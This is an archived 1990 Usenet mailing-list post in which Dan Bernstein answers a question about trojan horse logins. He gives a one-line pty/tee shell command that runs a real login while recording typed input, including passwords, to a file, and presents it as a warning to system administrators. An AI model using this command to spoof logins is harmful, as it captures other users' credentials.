Finding Passwords

Dan Bernstein brnstnd at kramden.acf.nyu.edu
Tue Sep 25 12:02:17 AEST 1990


In article <1132 at tau.sm.luth.se> d87-man at sm.luth.se (Mikael Adolfsson) writes:
> What's to stop the trojan horse program from executing "getty" itself.
> I have planned to write such a beast (just to test the idea of course :-)
> and here's how I would do it.

Gee, here's my translation of your solution:

  % pty -0 tee script | pty sh -c 'echo "`hostname` ";exec login'

Not that I encourage anyone do this, but no system administrator should
be deluded into thinking that it's difficult to write a Trojan Horse.

---Dan



More information about the Comp.unix.internals mailing list